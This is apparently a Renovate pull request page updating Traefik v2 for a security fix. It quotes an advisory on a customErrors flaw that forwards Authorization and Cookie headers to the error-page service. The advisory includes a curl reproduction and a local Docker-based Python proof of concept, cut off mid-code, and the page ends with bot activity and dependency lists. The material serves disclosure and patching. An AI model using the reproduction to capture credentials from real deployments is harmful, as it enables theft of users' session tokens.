traefik.http.services.audit-backend.loadbalancer.server.port=8000
traefik.http.middlewares.audit-leak.errors.status=500-599
traefik.http.middlewares.audit-leak.errors.service=audit-error
traefik.http.middlewares.audit-leak.errors.query=/collect
  1. Confirm that Traefik has loaded the route and middleware. The attached customerrors_router.json shows that audit-customerrors@docker uses middleware audit-leak@docker, and the attached customerrors_middleware.json shows that the middleware is enabled with status 500-599, service audit-error, and query /collect.

  2. Send a request containing sensitive credentials through the business route. The manual reproduction used the following request, and the automated PoC sends the same header values:

curl -i \
  -H 'Authorization: Bearer audit-secret-token' \
  -H 'Cookie: sessionid=audit-cookie; theme=dark' \
  http://127.0.0.1:28080/audit-customerrors
  1. Observe that the backend returns 500, Traefik internally requests /collect from the error service, and the error service receives the original Authorization and Cookie headers. The attached manual_curl_customerrors.txt response shows the leaked headers directly, and the attached poc_customerrors_header_leak.output.txt execution log shows the same result from the automated PoC.
Recommendations

The default behavior should forward only the minimal context needed to render an error page instead of copying the full original header set with utils.CopyHeaders(pageReq.Header, req.Header). At minimum, Traefik should strip Authorization, Proxy-Authorization, Cookie, Set-Cookie, and common custom authentication headers such as X-Api-Key before issuing the error page request. If operators truly need additional headers, that behavior should be opt-in through an explicit allowlist rather than the default. The documentation should also describe the current behavior and warn that routing an error page to a separate service can otherwise disclose end-user credentials across service boundaries.

PoC

The main PoC attachment is poc_customerrors_header_leak.py.

import json
import os
import subprocess
import sys
import time
import urllib.error
import urllib.request
from pathlib import Path

TARGET = "traefik customErrors sensitive header leak"
BASE_URL = "http://127.0.0.1:28080"
API_BASE_URL = "http://127.0.0.1:28180"
TRAEFIK_CONTAINER = "traefik-openclaw"
NETWORK = ""
DOCKER_IMAGE = "python:3.12-alpine"
BACKEND_CONTAINER = "traefik-audit-backend"
ERROR_CONTAINER = "traefik-audit-error"
ROUTER_NAME = "audit-customerrors"
ROUTER_PATH = "/audit-customerrors"
AUTHORIZATION = "Bearer audit-secret-token"
COOKIE = "sessionid=audit-cookie; theme=dark"
TIMEOUT_SECONDS = 10
ROUTER_WAIT_SECONDS = 20

EVIDENCE_DIR = Path(__file__).resolve().parent
BACKEND_SCRIPT = EVIDENCE_DIR / "customerrors_backend.py"
ERROR_SCRIPT = EVIDENCE_DIR / "customerrors_error.py"

def run_command(command):
    print(f"$ {' '.join(command)}")
    completed = subprocess.run(command, capture_output=True, text=True, check=True)
    stdout = completed.stdout.strip()
    stderr = completed.stderr.strip()
    if stdout:
        print(stdout)
    if stderr:
        print(stderr)
    return stdout

def remove_container(name):
    subprocess.run(["docker", "rm", "-f", name], capture_output=True, text=True)

def detect_network():
    if NETWORK:
        return NETWORK

    output = run_command(
        ["docker", "inspect", TRAEFIK_CONTAINER, "--format", ""]
    )
    networks = json.loads(output)
    network_names = sorted(networks.keys())
    if not network_names:
        raise RuntimeError("No docker network found for Traefik container")
    return network_names[0]

def ensure_image():
    run_command(["docker", "pull", DOCKER_IMAGE])

def start_error_container(network_name):
    run_command(
        [
            "docker", "run", "-d", "--name", ERROR_CONTAINER,
            "--network", network_name,
            "-v", f"{ERROR_SCRIPT}:/srv/error.py:ro",
            "-l", "traefik.enable=true",
            "-l", f"traefik.docker.network={network_name}",
            "-l", "traefik.http.services.audit-error.loadbalancer.server.port=8000",
            DOCKER_IMAGE, "python", "/srv/error.py",
        ]
    )

def start_backend_container(network_name):
    run_command(
        [
            "docker", "run", "-d", "--name", BACKEND_CONTAINER,
            "--network", network_name,
            "-v", f"{BACKEND_SCRIPT}:/srv/backend.py:ro",
            "-l", "traefik.enable=true",
            "-l", f"traefik.docker.network={network_name}",
            "-l", f"traefik.http.routers.{ROUTER_NAME}.rule=PathPrefix(`{ROUTER_PATH}`)",
            "-l", f"traefik.http.routers.{ROUTER_NAME}.entrypoints=web",
            "-l", f"traefik.http.routers.{ROUTER_NAME}.priority=100",
            "-l", f"traefik.http.routers.{ROUTER_NAME}.service=audit-backend",
            "-l", f"traefik.http.routers.{ROUTER_NAME}.middlewares=audit-leak",
            "-l", "traefik.http.services.audit-backend.loadbalancer.server.port=8000",
            "-l", "traefik.http.middlewares.audit-leak.errors.status=500-599",
            "-l", "traefik.http.middlewares.audit-leak.errors.service=audit-error",
            "-l", "traefik.http.middlewares.audit-leak.errors.query=/collect",
            DOCKER_IMAGE, "python", "/srv/backend.py",
        ]
    )

def fetch_json(url, headers=None):
    request = urllib.request.Request(url, headers=headers or {}, method="GET")
    try:
        response = urllib.request.urlopen(request, timeout=TIMEOUT_SECONDS)
    except urllib.error.HTTPError as exc:
        response = exc

    with response:
        return json.loads(response.read().decode())

def wait_for_router():
    deadline = time.time() + ROUTER_WAIT_SECONDS
    while time.time() < deadline:
        try:
            data = fetch_json(f"{API_BASE_URL}/api/rawdata")
            if f"{ROUTER_NAME}@&#8203;docker" in data.get("routers", {}):
                return data
        except Exception:
            pass
        time.sleep(1)
    raise RuntimeError("Timed out waiting for router")

def trigger_request():
    headers = {
        "Authorization": AUTHORIZATION,
        "Cookie": COOKIE,
    }
    return fetch_json(f"{BASE_URL}{ROUTER_PATH}", headers=headers)

def validate(response_json):
    leaked_headers = response_json.get("headers", {})
    leaked_auth = leaked_headers.get("Authorization")
    leaked_cookie = leaked_headers.get("Cookie")

    print("Response JSON:")
    print(json.dumps(response_json, indent=2, sort_keys=True))

    if leaked_auth != AUTHORIZATION:
        raise RuntimeError(f"Authorization not leaked as expected, got: {leaked_auth!r}")
    if leaked_cookie != COOKIE:
        raise RuntimeError(f"Cookie not leaked as expected, got: {leaked_cookie!r}")

    print("Validation result: error page service received the original Authorization and Cookie.")

def main():
    print(f"TARGET={TARGET}")
    network_name = detect_network()
    print(f"Using docker network: {network_name}")

    remove_container(BACKEND_CONTAINER)
    remove_container(ERROR_CONTAINER)

    try:
        ensure_image()
        start_error_container(network_name)
        start_backend_container(network_name)
        wait_for_router()
        response_json = trigger_request()
        validate(response_json)
    finally:
        remove_container(BACKEND_CONTAINER)
        remove_container(ERROR_CONTAINER)
        print("Cleaned up temporary containers.")

if __name__ == "__main__":
    try:
        main()
    except subprocess.CalledProcessError as exc:

>**Note**
> 
> PR body was truncated to here.

@renovate renovate Bot force-pushed the renovate/go-github.com-traefik-traefik-v2-vulnerability branch 4 times, most recently from ec0d285 to af87c31 Compare April 14, 2026 09:28
@renovate renovate Bot force-pushed the renovate/go-github.com-traefik-traefik-v2-vulnerability branch from af87c31 to c1070c7 Compare April 24, 2026 17:24
@renovate renovate Bot changed the title fix(deps): update module github.com/traefik/traefik/v2 to v2.11.42 [security] fix(deps): update module github.com/traefik/traefik/v2 to v2.11.43 [security] Apr 24, 2026
@renovate renovate Bot changed the title fix(deps): update module github.com/traefik/traefik/v2 to v2.11.43 [security] fix(deps): update module github.com/traefik/traefik/v2 to v2.11.43 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot deleted the renovate/go-github.com-traefik-traefik-v2-vulnerability branch April 27, 2026 16:39
@renovate renovate Bot changed the title fix(deps): update module github.com/traefik/traefik/v2 to v2.11.43 [security] - autoclosed fix(deps): update module github.com/traefik/traefik/v2 to v2.11.43 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate renovate Bot force-pushed the renovate/go-github.com-traefik-traefik-v2-vulnerability branch 2 times, most recently from c1070c7 to c23edb4 Compare April 27, 2026 20:29
@renovate renovate Bot force-pushed the renovate/go-github.com-traefik-traefik-v2-vulnerability branch from c23edb4 to 55b9674 Compare May 11, 2026 11:46
@renovate renovate Bot changed the title fix(deps): update module github.com/traefik/traefik/v2 to v2.11.43 [security] fix(deps): update module github.com/traefik/traefik/v2 to v2.11.44 [security] May 11, 2026
@renovate
Copy link
Copy Markdown
Contributor Author

renovate Bot commented May 11, 2026

ℹ️ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • 14 additional dependencies were updated

Details:

Package Change
github.com/go-acme/lego/v4 v4.30.1 -> v4.35.2
github.com/go-jose/go-jose/v4 v4.1.3 -> v4.1.4
github.com/go-viper/mapstructure/v2 v2.4.0 -> v2.5.0
github.com/miekg/dns v1.1.69 -> v1.1.72
golang.org/x/crypto v0.48.0 -> v0.50.0
golang.org/x/mod v0.32.0 -> v0.35.0
golang.org/x/net v0.51.0 -> v0.53.0
golang.org/x/oauth2 v0.34.0 -> v0.36.0
golang.org/x/sync v0.19.0 -> v0.20.0
golang.org/x/sys v0.41.0 -> v0.43.0
golang.org/x/term v0.40.0 -> v0.42.0
golang.org/x/text v0.34.0 -> v0.36.0
golang.org/x/time v0.14.0 -> v0.15.0
golang.org/x/tools v0.41.0 -> v0.44.0

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants